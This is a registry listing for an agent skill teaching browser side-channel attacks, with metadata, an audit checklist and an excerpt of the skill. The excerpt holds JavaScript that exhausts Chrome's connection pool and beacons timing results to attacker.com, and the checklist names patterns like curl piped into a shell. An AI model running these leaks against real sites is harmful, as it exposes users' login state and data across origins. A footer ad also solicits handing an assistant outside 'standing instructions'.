browser-side-channel SKILL.md skillB
browser-side-channel from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/browser-side-channel@git:20260814.2a9dc38Pins git:20260814.2a9dc38 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- B, 16 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/browser-side-channel/SKILL.md- Versions recorded
- 3
- Latest version
- git:20260814.2a9dc38, committed Aug 14, 2026
- First version recorded
- May 4, 2026
- Size
- 7,432 bytes
- Repository stars
- 22
- License
- MIT
Browser-based side channel attacks for cross-origin data leaks via connection pool exhaustion, ETag oracles, timing differentials, and ORB status-code XS-Leaks revived through service-worker destination rewriting. Use when direct XSS fails but cross-origin information leakage is needed.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Browser Side Channel Attacks
## Pattern
- Cross-origin data leakage without XSS
- Need to detect state (logged in, admin, specific content) on another origin
- Target has detectable behavioral differences based on auth state or content
## Techniques
### XSS-Leak via Connection Pool Exhaustion (Chrome)
1. **Saturate** Chrome's 256-connection pool (open 255 persistent connections)
2. **Trigger** a cross-origin navigation that may redirect based on state
3. **Measure** which host resolves next -- DNS timing differs under pool exhaustion
4. **Binary search** the leaked hostname character by character
```javascript
// Saturate pool with 255 WebSocket connections to different hosts
for (let i = 0; i < 255; i++) {
new WebSocket(`wss://pad-${i}.attacker.com/hold`);
}
// Trigger cross-origin fetch -- redirect destination leaks via timing
const start = performance.now();
fetch('https://target.com/auth-redirect', {mode: 'no-cors'}).then(() => {
const elapsed = performance.now() - start;
// admin.target.com vs login.target.com have different DNS timing under pool exhaustion
navigator.sendBeacon('https://attacker.com/log', `elapsed=${elapsed}`);
});
```
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/browser-side-channel@sha256:c163abef2d693183The line at the top of this page pins the label git:20260814.2a9dc38, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_wx7ftekfrmml5ozb)
4 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 3 versions of this file, between May 4, 2026 and Aug 14, 2026, about one every 51 days. Its first recorded version is graded A and its latest B.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260814.2a9dc38 latest | 2026-08-14 | 2a9dc38 | 7,432 B | B | view · diff |
| git:20260529.8f6ea0e | 2026-05-29 | 8f6ea0e | 4,439 B | B | view · diff |
| git:20260504.2a64374 | 2026-05-04 | 2a64374 | 3,533 B | A | view |
Audit of the latest version
- fail: No script tag (matched: <script)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (7432 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_wx7ftekfrmml5ozb GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/browser-side-channel GET https://markdownregistry.com/api/v1/blob/c163abef2d693183ed455a1c4c74bca0e384d37e7fb3d2869c18161c2314ac06
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.